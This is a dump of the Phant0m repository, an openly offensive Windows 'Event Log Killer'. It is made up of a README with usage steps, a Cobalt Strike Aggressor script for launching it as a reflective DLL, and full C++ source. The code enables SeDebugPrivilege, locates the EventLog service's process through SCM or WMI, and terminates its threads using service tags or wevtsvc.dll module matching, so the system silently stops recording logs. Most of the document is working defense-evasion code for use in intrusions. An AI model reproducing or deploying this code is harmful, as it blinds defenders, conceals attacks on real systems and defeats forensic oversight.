├── README.md ├── images ├── cobaltstrike.png ├── execution-flow.png └── phant0m.png ├── phant0m.cna └── phant0m ├── include ├── pid_SCM.h ├── pid_WMI.h ├── process_info.h ├── technique_1.h └── technique_2.h ├── phant0m-exe ├── main.cpp ├── phant0m-exe.vcxproj ├── phant0m-exe.vcxproj.filters └── phant0m-exe.vcxproj.user ├── phant0m-rdll ├── ReflectiveDLLInjection.h ├── ReflectiveLoader.c ├── ReflectiveLoader.h ├── main.cpp ├── phant0m-rdll.vcxproj ├── phant0m-rdll.vcxproj.filters └── phant0m-rdll.vcxproj.user ├── phant0m.sln ├── phant0m.vcxproj ├── phant0m.vcxproj.filters └── phant0m.vcxproj.user /README.md: -------------------------------------------------------------------------------- 1 |

Phant0m

2 | 3 | # Phant0m | Windows Event Log Killer 4 | 5 | Svchost is essential in the implementation of so-called shared service processes, where a number of services can share a process in order to reduce resource consumption. Grouping multiple services into a single process conserves computing resources, and this consideration was of particular concern to NT designers because creating Windows processes takes more time and consumes more memory than in other operating systems, e.g. in the Unix family.[1](https://en.wikipedia.org/wiki/Svchost.exe) 6 | 7 | This means briefly that; On Windows operating systems, svchost.exe manages the services and services are actually running under svchost.exe’s as threads. Phant0m targets the Event Log service and finding the process responsible for the Event Log service, it detects and kills the threads responsible for the Event Log service. Thus, while the Event Log service appears to be running in the system (because Phant0m didn't kill process), it does not actually run (because Phant0m killed threads) and the system does not collect logs. 8 | 9 | # How It Works & How To Use 10 | 11 |

Phant0m - Execution Flow

12 | 13 | ## Detecting Event Log Service 14 | Phant0m uses two different options to detect the Process ID of the Event Log service. The first is to detect via the SCM (Service Control Manager) and the second is to detect via WMI (Windows Management Instrumentation). With which method you want Phant0m to detect the Process ID of the Event Log service, change the following lines in the main.cpp file. 15 | 16 | For example, if you want the Process ID to be detected via SCM, you should edit it as follows. (Do not set all values at the same time, set only the one technique you want.) 17 | ```cpp 18 | // PID detection techniques configuration section. 19 | #define PID_FROM_SCM 1 // If you set it to 1, the PID of the Event Log service is obtained from the Service Manager. 20 | #define PID_FROM_WMI 0 // If you set it to 1, the PID of the Event Log service is obtained from the WMI. 21 | ``` 22 | 23 | For example, if you want threads to be killed using Technique-1, you should edit it as follows. (Do not set all values at the same time, set only the one technique you want.) 24 | ```cpp 25 | // TID detection and kill techniques configuration section. 26 | #define KILL_WITH_T1 1 // If you set it to 1, Technique-1 will be use. For more information; https://github.com/hlldz/Phant0m 27 | #define KILL_WITH_T2 0 // If you set it to 1, Technique-2 will be use. For more information; https://github.com/hlldz/Phant0m 28 | ``` 29 | ## Detecting and Killing Threads 30 | Phant0m uses two different options to detect and kill the threads of the Event Log service. 31 | 32 | ### Technique-1 33 | When each service is registered on a machine running Windows Vista or later, the Service Control Manager (SCM) assigns a unique numeric tag to the service (in ascending order). Then, at service creation time, the tag is assigned to the TEB of the main service thread. This tag will then be propagated to every thread created by the main service thread. For example, if the Foo service thread creates an RPC worker thread (note: RPC worker threads don’t use the thread pool mechanism more on that later), that thread will have the Service Tag of the Foo service.[2](http://www.alex-ionescu.com/?p=52) 34 | 35 | So, in this technique Phant0m will detect threads of Event Log service with NtQueryInformationThread API to get the thread’s TEB address and read the SubProcessTag from the TEB. Then it kills the threads related to the Event Log service. The codes for this technique are in `the technique_1.h` file. 36 | 37 | ### Technique-2 38 | In this technique, Phant0m detects the names of DLLs associated with threads. Windows Event Log Service uses `wevtsvc.dll`. Full path is `%WinDir%\System32\wevtsvc.dll`. If the thread is using that DLL, it is the Windows Event Log Service’s thread and then Phant0m kills the thread. The codes for this technique are in `the technique_2.h` file. 39 | 40 | ## Usage 41 | You can use Phant0m both as a standalone EXE and as a Reflective DLL. Open the project in Microsoft Visual Studio, make the settings (select the detection and kill techniques) and compile. You can also use the Reflective DLL version with Cobalt Strike, for this there is an Aggressor Script file (phant0m.cna) in the repository. 42 | 43 |

Phant0m - Cobalt Strike

44 | 45 | Fork and inject method was used with `bdllspawn` in the execution type of Aggressor Script (phant0m.cna) for Cobalt Strike. If you want to inject Phant0m into your existing process and run it, you can review this project (https://github.com/rxwx/cs-rdll-ipc-example) and you can do it easily. You can also convert the code to DLL and then to Shellcode with [Donut](https://github.com/TheWover/donut). 46 | 47 | NOTE: The project only supports x64 architecture. 48 | 49 | --- 50 | 51 | ### Special Thanks to Those Who Mentioned Phant0m 52 | * Detecting in-memory attacks with Sysmon and Azure Security Center - https://azure.microsoft.com/tr-tr/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/ 53 | * Experiments with Invoke-Phant0m - http://www.insomniacsecurity.com/2017/08/27/phant0m.html 54 | * Event Log Tampering Part 1: Disrupting the EventLog Service - https://medium.com/@7a616368/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c 55 | * Flying under the radar - https://www.exploit-db.com/docs/english/45898-flying-under-the-radar.pdf?rss 56 | * Denetim ve Log'lamanın Elli Tonu - https://gallery.technet.microsoft.com/Denetim-ve-Loglamann-Elli-cbed0000 57 | * Disabling Windows Event Logs by Suspending EventLog Service Threads - https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads 58 | * Event Log Service – Between Offensive And Defensive - https://blog.cybercastle.io/event-log-service-between-offensive-and-defensive/ 59 | * Hunting Event Logging Coverup - https://malwarenailed.blogspot.com/2017/10/update-to-hunting-mimikatz-using-sysmon.html 60 | * Defense Evasion: Windows Event Logging (T1562.002) - https://hacker.observer/defense-evasion-windows-event-logging-t1562-002/ 61 | * Pwning Windows Event Logging with YARA rules - https://labs.jumpsec.com/pwning-windows-event-logging-with-yara-rules/ 62 | * Various Notes - Incidence Response on Attacker Tricks for EventLog - https://hannahsuarez.github.io/2019/IncidentResponseNotes-Attackers-EventLog/ 63 | -------------------------------------------------------------------------------- /images/cobaltstrike.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hlldz/Phant0m/13fc1555608724e21cf5255d04dfdf45aa5006d2/images/cobaltstrike.png -------------------------------------------------------------------------------- /images/execution-flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hlldz/Phant0m/13fc1555608724e21cf5255d04dfdf45aa5006d2/images/execution-flow.png -------------------------------------------------------------------------------- /images/phant0m.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hlldz/Phant0m/13fc1555608724e21cf5255d04dfdf45aa5006d2/images/phant0m.png -------------------------------------------------------------------------------- /phant0m.cna: -------------------------------------------------------------------------------- 1 | # 1- Open the project (https://github.com/hlldz/Phant0m) in Microsoft Visual Studio, make the settings (select the detection and kill techniques) and compile. 2 | # 2- After set the DLL names on lines 14, 18, 27 and 31. 3 | # 3- Import script. Usage: phant0m DETECTION_TECHNIQUE (scm or wmi) KILL_TECHNIQUE (1 or 2) 4 | 5 | alias phant0m { 6 | local('$detection_technique $kill_technique'); 7 | 8 | $detection_technique = $2; 9 | $kill_technique = $3; 10 | 11 | if($detection_technique eq "scm"){ 12 | if($kill_technique eq "1"){ 13 | blog($1, "\c0Phant0m will detect PID with SCM and kill service threads with Technique-1."); 14 | bdllspawn($1, script_resource("scm_1.dll"), $2, "Phant0m - SCM, Technique-1", 5000, false); 15 | } 16 | else if ($kill_technique eq "2"){ 17 | blog($1, "\c0Phant0m will detect PID with SCM and kill service threads with Technique-2."); 18 | bdllspawn($1, script_resource("scm_2.dll"), $2, "Phant0m - SCM, Technique-2", 5000, false); 19 | } 20 | else { 21 | blog($1, "\c0Check your arguments."); 22 | } 23 | } 24 | else if($detection_technique eq "wmi"){ 25 | if($kill_technique eq "1"){ 26 | blog($1, "\c0Phant0m will detect PID with WMI and kill service threads with Technique-1."); 27 | bdllspawn($1, script_resource("wmi_1.dll"), $2, "Phant0m - WMI, Technique-1", 5000, false); 28 | } 29 | else if ($kill_technique eq "2"){ 30 | blog($1, "\c0Phant0m will detect PID with WMI and kill service threads with Technique-2."); 31 | bdllspawn($1, script_resource("wmi_2.dll"), $2, "Phant0m - WMI, Technique-2", 5000, false); 32 | } 33 | else { 34 | blog($1, "\c0Check your arguments."); 35 | } 36 | } 37 | else { 38 | blog($1, "\c0Check your arguments."); 39 | } 40 | } -------------------------------------------------------------------------------- /phant0m/include/pid_SCM.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | DWORD GetPIDFromSCManager() { 4 | 5 | printf("[*] Attempting to detect PID from Service Manager...\n"); 6 | 7 | SC_HANDLE schSCManager, schService; 8 | SERVICE_STATUS_PROCESS ssProcess = {}; 9 | DWORD dwBytesNeeded = 0; 10 | 11 | schSCManager = OpenSCManagerA(NULL, NULL, SERVICE_QUERY_STATUS); 12 | 13 | if (NULL == schSCManager) { 14 | 15 | printf("[!] SCM: OpenSCManager failed (%d)\n", GetLastError()); 16 | return 0; 17 | 18 | } 19 | 20 | schService = OpenServiceA(schSCManager, "EventLog", SERVICE_QUERY_STATUS); 21 | 22 | if (schService == NULL) { 23 | 24 | printf("[!] SCM: OpenService failed (%d)\n", GetLastError()); 25 | CloseServiceHandle(schSCManager); 26 | return 0; 27 | 28 | } 29 | 30 | if (!QueryServiceStatusEx(schService, SC_STATUS_PROCESS_INFO, reinterpret_cast(&ssProcess), sizeof(ssProcess), &dwBytesNeeded)) { 31 | 32 | printf("[!] SCM: QueryServiceStatusEx failed (%d)\n", GetLastError()); 33 | CloseServiceHandle(schService); 34 | CloseServiceHandle(schSCManager); 35 | return 0; 36 | 37 | } 38 | 39 | return ssProcess.dwProcessId; 40 | } 41 | 42 | -------------------------------------------------------------------------------- /phant0m/include/pid_WMI.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "wbemuuid.lib") 7 | 8 | DWORD GetPIDFromWMI() { 9 | 10 | printf("[*] Attempting to detect PID from WMI....\n"); 11 | 12 | DWORD dwEventLogPID = 0; 13 | 14 | HRESULT hRes; 15 | 16 | hRes = CoInitializeEx(0, COINIT_MULTITHREADED); 17 | 18 | if (FAILED(hRes)) { 19 | 20 | printf("[!] WMI: Failed to initialize COM library.\n"); 21 | return 0; 22 | 23 | } 24 | 25 | hRes = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); 26 | 27 | if (FAILED(hRes)) { 28 | 29 | printf("[!] WMI: Failed to initialize security.\n"); 30 | CoUninitialize(); 31 | return 0; 32 | 33 | } 34 | 35 | IWbemLocator* pLoc = NULL; 36 | 37 | hRes = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc); 38 | 39 | if (FAILED(hRes)) { 40 | 41 | printf("[!] WMI: Failed to create IWbemLocator object.\n"); 42 | CoUninitialize(); 43 | return 0; 44 | 45 | } 46 | 47 | IWbemServices* pSvc = NULL; 48 | 49 | hRes = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc); 50 | 51 | if (FAILED(hRes)) { 52 | 53 | printf("[!] WMI: Could not connect."); 54 | pLoc->Release(); 55 | CoUninitialize(); 56 | return 0; 57 | 58 | } 59 | 60 | hRes = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE); 61 | 62 | if (FAILED(hRes)) { 63 | 64 | printf("[!] WMI: Could not set proxy blanket.\n"); 65 | pSvc->Release(); 66 | pLoc->Release(); 67 | CoUninitialize(); 68 | return 0; 69 | 70 | } 71 | 72 | IEnumWbemClassObject* pEnumerator = NULL; 73 | 74 | hRes = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_Service"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator); 75 | 76 | if (FAILED(hRes)) { 77 | 78 | printf("[!] WMI: Query failed.\n"); 79 | pSvc->Release(); 80 | pLoc->Release(); 81 | CoUninitialize(); 82 | return 0; 83 | 84 | } 85 | 86 | IWbemClassObject* pclsObj = NULL; 87 | ULONG uReturn = 0; 88 | 89 | while (pEnumerator) { 90 | 91 | HRESULT hR = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn); 92 | 93 | if (0 == uReturn) { 94 | 95 | break; 96 | 97 | } 98 | 99 | VARIANT vtProp; 100 | VariantInit(&vtProp); 101 | 102 | hR = pclsObj->Get(L"Name", 0, &vtProp, 0, 0); 103 | 104 | if (_wcsicmp(vtProp.bstrVal, L"eventlog") == 0) { 105 | 106 | hR = pclsObj->Get(L"ProcessId", 0, &vtProp, 0, 0); 107 | dwEventLogPID = vtProp.intVal; 108 | break; 109 | 110 | } 111 | 112 | VariantClear(&vtProp); 113 | pclsObj->Release(); 114 | 115 | } 116 | 117 | pSvc->Release(); 118 | pLoc->Release(); 119 | pEnumerator->Release(); 120 | CoUninitialize(); 121 | 122 | return dwEventLogPID; 123 | } -------------------------------------------------------------------------------- /phant0m/include/process_info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | BOOL enoughIntegrityLevel() { 4 | 5 | BOOL checkResult = FALSE; 6 | 7 | HANDLE hToken, hProcess; 8 | 9 | DWORD dwLengthNeeded, dwIntegrityLevel; 10 | DWORD dwError = ERROR_SUCCESS; 11 | 12 | PTOKEN_MANDATORY_LABEL pTIL = NULL; 13 | 14 | hProcess = GetCurrentProcess(); 15 | if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken)) { 16 | 17 | if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLengthNeeded)) { 18 | 19 | dwError = GetLastError(); 20 | if (dwError == ERROR_INSUFFICIENT_BUFFER) { 21 | 22 | pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, dwLengthNeeded); 23 | if (pTIL != NULL) { 24 | 25 | if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLengthNeeded, &dwLengthNeeded)) { 26 | 27 | dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1)); 28 | 29 | if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) { 30 | checkResult = TRUE; 31 | } 32 | 33 | } 34 | 35 | LocalFree(pTIL); 36 | } 37 | 38 | } 39 | 40 | } 41 | 42 | CloseHandle(hToken); 43 | 44 | } 45 | 46 | return checkResult; 47 | 48 | } 49 | 50 | BOOL EnableDebugPrivilege() { 51 | 52 | HANDLE hToken; 53 | 54 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { 55 | TOKEN_PRIVILEGES tp; 56 | LUID luid; 57 | 58 | if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { 59 | 60 | tp.PrivilegeCount = 1; 61 | tp.Privileges[0].Luid = luid; 62 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 63 | 64 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { 65 | 66 | return TRUE; 67 | 68 | } 69 | } 70 | } 71 | 72 | return FALSE; 73 | } 74 | 75 | BOOL isPrivilegeOK() { 76 | 77 | BOOL privilgeStatus = FALSE; 78 | 79 | LUID luid; 80 | PRIVILEGE_SET privs; 81 | HANDLE hProcess; 82 | HANDLE hToken; 83 | hProcess = GetCurrentProcess(); 84 | 85 | if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) { 86 | 87 | if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { 88 | 89 | privs.PrivilegeCount = 1; 90 | privs.Control = PRIVILEGE_SET_ALL_NECESSARY; 91 | privs.Privilege[0].Luid = luid; 92 | privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED; 93 | 94 | BOOL privCheckResult; 95 | PrivilegeCheck(hToken, &privs, &privCheckResult); 96 | 97 | if (privCheckResult == TRUE) { 98 | 99 | printf("[+] SeDebugPrivilege is enable, continuing...\n\n"); 100 | 101 | privilgeStatus = TRUE; 102 | } 103 | else { 104 | 105 | printf("[!] SeDebugPrivilege is not enabled, trying to enable...\n"); 106 | 107 | if (EnableDebugPrivilege() == TRUE) { 108 | 109 | printf("[+] SeDebugPrivilege is enabled, continuing...\n\n"); 110 | 111 | privilgeStatus = TRUE; 112 | 113 | } 114 | else { 115 | 116 | privilgeStatus = FALSE; 117 | 118 | } 119 | 120 | } 121 | 122 | } 123 | 124 | } 125 | 126 | return privilgeStatus; 127 | 128 | } -------------------------------------------------------------------------------- /phant0m/include/technique_1.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | // Inspired from https://github.com/3gstudent/Eventlogedit-evtx--Evolution/blob/master/SuspendorResumeTidEx.cpp 8 | BOOL Technique_1(DWORD dwEventLogPID) { 9 | 10 | printf("[*] Using Technique-1 for killing threads...\n"); 11 | 12 | BOOL killStatus = FALSE; 13 | 14 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 15 | 16 | if (hNtdll != NULL) { 17 | 18 | typedef NTSTATUS(WINAPI* _NtQueryInfomationThread)(HANDLE, LONG, PVOID, ULONG, PULONG); 19 | 20 | _NtQueryInfomationThread NtQueryInformationThread = (_NtQueryInfomationThread)GetProcAddress(hNtdll, "NtQueryInformationThread"); 21 | 22 | HMODULE hAdvapi32 = GetModuleHandleA("advapi32.dll"); 23 | 24 | if (hAdvapi32 != NULL) { 25 | 26 | typedef struct _CLIENT_ID { 27 | HANDLE UniqueProcess; 28 | HANDLE UniqueThread; 29 | } CLIENT_ID; 30 | 31 | typedef struct _THREAD_BASIC_INFORMATION { 32 | NTSTATUS exitStatus; 33 | PVOID pTebBaseAddress; 34 | CLIENT_ID clientId; 35 | KAFFINITY AffinityMask; 36 | int Priority; 37 | int BasePriority; 38 | int v; 39 | 40 | } THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION; 41 | 42 | typedef enum _SC_SERVICE_TAG_QUERY_TYPE { 43 | ServiceNameFromTagInformation = 1, 44 | ServiceNameReferencingModuleInformation, 45 | ServiceNameTagMappingInformation, 46 | } SC_SERVICE_TAG_QUERY_TYPE, * PSC_SERVICE_TAG_QUERY_TYPE; 47 | 48 | typedef struct _SC_SERVICE_TAG_QUERY { 49 | ULONG processId; 50 | ULONG serviceTag; 51 | ULONG reserved; 52 | PVOID pBuffer; 53 | } SC_SERVICE_TAG_QUERY, * PSC_SERVICE_TAG_QUERY; 54 | 55 | typedef ULONG(WINAPI* _I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY); 56 | 57 | _I_QueryTagInformation I_QueryTagInformation = (_I_QueryTagInformation)GetProcAddress(hAdvapi32, "I_QueryTagInformation"); 58 | 59 | SC_SERVICE_TAG_QUERY scTagQuery = { 0 }; 60 | ULONG hTag = NULL; 61 | 62 | THREADENTRY32 te32; 63 | THREAD_BASIC_INFORMATION tbi = { 0 }; 64 | te32.dwSize = sizeof(THREADENTRY32); 65 | 66 | HANDLE hThreads = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 67 | 68 | BOOL threadList = Thread32First(hThreads, &te32); 69 | 70 | HANDLE hEvtProcess = NULL; 71 | HANDLE hEvtThread = NULL; 72 | 73 | while (threadList) { 74 | 75 | if (te32.th32OwnerProcessID == dwEventLogPID) { 76 | 77 | hEvtThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME | THREAD_TERMINATE, FALSE, te32.th32ThreadID); 78 | 79 | NtQueryInformationThread(hEvtThread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL); 80 | 81 | hEvtProcess = OpenProcess(PROCESS_VM_READ, FALSE, te32.th32OwnerProcessID); 82 | 83 | if (tbi.pTebBaseAddress != 0) { 84 | 85 | ReadProcessMemory(hEvtProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL); 86 | 87 | scTagQuery.processId = te32.th32OwnerProcessID; 88 | scTagQuery.serviceTag = hTag; 89 | 90 | I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &scTagQuery); 91 | 92 | char serviceName[MAX_PATH] = { 0 }; 93 | size_t cbDest = MAX_PATH * sizeof(char); 94 | 95 | StringCbPrintfA(serviceName, cbDest, "%ws", (PCWSTR)scTagQuery.pBuffer); 96 | 97 | if (_stricmp(serviceName, "eventlog") == 0) { 98 | 99 | if (TerminateThread(hEvtThread, 0) == 0) { 100 | 101 | printf("[!] Thread %d is detected but kill failed. Error code is: %d\n", te32.th32ThreadID, GetLastError()); 102 | 103 | } 104 | else { 105 | 106 | printf("[+] Thread %d is detected and successfully killed.\n", te32.th32ThreadID); 107 | 108 | } 109 | 110 | } 111 | 112 | scTagQuery = { 0 }; // Clear array 113 | 114 | CloseHandle(hEvtThread); 115 | CloseHandle(hEvtProcess); 116 | } 117 | 118 | } 119 | 120 | threadList = Thread32Next(hThreads, &te32); 121 | 122 | } 123 | 124 | CloseHandle(hThreads); 125 | 126 | } 127 | 128 | } 129 | 130 | return killStatus; 131 | } -------------------------------------------------------------------------------- /phant0m/include/technique_2.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | // Inspired from http://www.rohitab.com/discuss/topic/36675-how-to-get-the-module-name-associated-with-a-thread/?p=10078697 8 | BOOL Technique_2(DWORD dwEventLogPID) { 9 | 10 | printf("[*] Using Technique-2 for killing threads...\n"); 11 | 12 | BOOL killStatus = FALSE; 13 | 14 | HANDLE hEvtSnapshot = NULL; 15 | HANDLE hEvtThread = NULL; 16 | 17 | THREADENTRY32 te32; 18 | te32.dwSize = sizeof(THREADENTRY32); 19 | te32.cntUsage = 0; 20 | 21 | MODULEENTRY32 me32; 22 | me32.dwSize = sizeof(MODULEENTRY32); 23 | me32.th32ModuleID = 1; 24 | 25 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 26 | 27 | if ((hEvtSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, dwEventLogPID)) != INVALID_HANDLE_VALUE) { 28 | 29 | while (Thread32Next(hEvtSnapshot, &te32)) { 30 | 31 | if (te32.th32OwnerProcessID == dwEventLogPID) { 32 | hEvtThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SUSPEND_RESUME | THREAD_TERMINATE, FALSE, te32.th32ThreadID); 33 | 34 | if (hEvtThread != NULL) { 35 | 36 | HANDLE hNewThreadHandle; 37 | DWORD64 dwThreadStartAddr = 0; 38 | 39 | if (hNtdll != NULL) { 40 | 41 | typedef NTSTATUS(WINAPI* _NtQueryInfomationThread)(HANDLE, LONG, PVOID, ULONG, PULONG); 42 | 43 | _NtQueryInfomationThread NtQueryInformationThread; 44 | 45 | if ((NtQueryInformationThread = (_NtQueryInfomationThread)GetProcAddress(hNtdll, "NtQueryInformationThread"))) { 46 | 47 | HANDLE hPeusdoCurrentProcess = GetCurrentProcess(); 48 | 49 | if (DuplicateHandle(hPeusdoCurrentProcess, hEvtThread, hPeusdoCurrentProcess, &hNewThreadHandle, THREAD_QUERY_INFORMATION, FALSE, 0)) { 50 | 51 | NtQueryInformationThread(hNewThreadHandle, 9, &dwThreadStartAddr, sizeof(DWORD64), NULL); 52 | CloseHandle(hNewThreadHandle); 53 | 54 | } 55 | 56 | } 57 | 58 | } 59 | 60 | char moduleName[MAX_PATH] = { 0 }; 61 | size_t cbDest = MAX_PATH * sizeof(char); 62 | 63 | if (Module32First(hEvtSnapshot, &me32)) { 64 | 65 | if (dwThreadStartAddr >= (DWORD_PTR)me32.modBaseAddr && dwThreadStartAddr <= ((DWORD_PTR)me32.modBaseAddr + me32.modBaseSize)) { 66 | 67 | StringCbPrintfA(moduleName, cbDest, "%ws", me32.szExePath); 68 | 69 | } 70 | else { 71 | 72 | while (Module32Next(hEvtSnapshot, &me32)) { 73 | 74 | if (dwThreadStartAddr >= (DWORD_PTR)me32.modBaseAddr && dwThreadStartAddr <= ((DWORD_PTR)me32.modBaseAddr + me32.modBaseSize)) { 75 | 76 | StringCbPrintfA(moduleName, cbDest, "%ws", me32.szExePath); 77 | break; 78 | 79 | } 80 | 81 | } 82 | 83 | } 84 | 85 | } 86 | 87 | if (strstr(moduleName, "wevtsvc.dll")) { 88 | 89 | if (TerminateThread(hEvtThread, 0) == 0) { 90 | 91 | printf("[!] Thread %d is detected but kill failed. Error code is: %d\n", te32.th32ThreadID, GetLastError()); 92 | 93 | } 94 | else { 95 | 96 | printf("[+] Thread %d is detected and successfully killed.\n", te32.th32ThreadID); 97 | 98 | } 99 | 100 | } 101 | 102 | CloseHandle(hEvtThread); 103 | 104 | } 105 | 106 | } 107 | 108 | } 109 | 110 | } 111 | 112 | CloseHandle(hEvtSnapshot); 113 | 114 | return killStatus; 115 | } -------------------------------------------------------------------------------- /phant0m/phant0m-exe/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "../include/process_info.h" 5 | 6 | // PID detection techniques configuration section. 7 | #define PID_FROM_SCM 1 // If you set it to 1, the PID of the Event Log service is obtained from the Service Manager. 8 | #define PID_FROM_WMI 0 // If you set it to 1, the PID of the Event Log service is obtained from the WMI. 9 | 10 | 11 | // TID detection and kill techniques configuration section. 12 | #define KILL_WITH_T1 1 // If you set it to 1, Technique-1 will be use. For more information; https://github.com/hlldz/Phant0m 13 | #define KILL_WITH_T2 0 // If you set it to 1, Technique-2 will be use. For more information; https://github.com/hlldz/Phant0m 14 | 15 | 16 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1 17 | #include "../include/pid_SCM.h" 18 | #endif 19 | 20 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1 21 | #include "../include/pid_WMI.h" 22 | #endif 23 | 24 | 25 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1 26 | #include "../include/technique_1.h" 27 | #endif 28 | 29 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1 30 | #include "../include/technique_2.h" 31 | #endif 32 | 33 | void Phant0m() { 34 | 35 | puts( 36 | "\t ___ _ _ _ _ _ _____ __ __ __ \n" 37 | "\t| _ \\ || | /_\\ | \\| |_ _/ \\| \\/ |\n" 38 | "\t| _/ __ |/ _ \\| .` | | || () | |\\/| |\n" 39 | "\t|_| |_||_/_/ \\_\\_|\\_| |_| \\__/|_| |_|\n\n" 40 | "\tVersion: \t2.0\n" 41 | "\tAuthor: \tHalil Dalabasmaz\n" 42 | "\tWWW: \t\tartofpwn.com\n" 43 | "\tTwitter: \t@hlldz\n" 44 | "\tGithub: \t@hlldz\n" 45 | ); 46 | 47 | if (enoughIntegrityLevel() == TRUE) { 48 | 49 | printf("[+] Process Integrity Level is high, continuing...\n\n"); 50 | 51 | if (isPrivilegeOK() == TRUE) { 52 | 53 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1 54 | DWORD dwEventLogPID = GetPIDFromSCManager(); 55 | #endif 56 | 57 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1 58 | DWORD dwEventLogPID = GetPIDFromWMI(); 59 | #endif 60 | 61 | if (dwEventLogPID != 0) { 62 | 63 | printf("[+] Event Log service PID detected as %d.\n\n", dwEventLogPID); 64 | 65 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1 66 | Technique_1(dwEventLogPID); 67 | #endif 68 | 69 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1 70 | Technique_2(dwEventLogPID); 71 | #endif 72 | 73 | } 74 | else { 75 | 76 | printf("[!] Exiting...\n"); 77 | 78 | } 79 | } 80 | else { 81 | 82 | printf("[!] SeDebugPrivilege cannot enabled. Exiting...\n"); 83 | 84 | } 85 | 86 | } 87 | else { 88 | 89 | printf("[!] Process Integrity Level is not high. Exiting...\n"); 90 | 91 | } 92 | 93 | printf("\n[*] All done.\n"); 94 | 95 | } 96 | 97 | int main() { 98 | 99 | Phant0m(); 100 | 101 | return 0; 102 | } -------------------------------------------------------------------------------- /phant0m/phant0m-exe/phant0m-exe.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {ec79f5dd-3943-4413-a298-8f4f2b8c2371} 25 | phant0mexe 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | false 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | 88 | Level3 89 | true 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | true 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | 107 | 108 | Console 109 | true 110 | true 111 | true 112 | 113 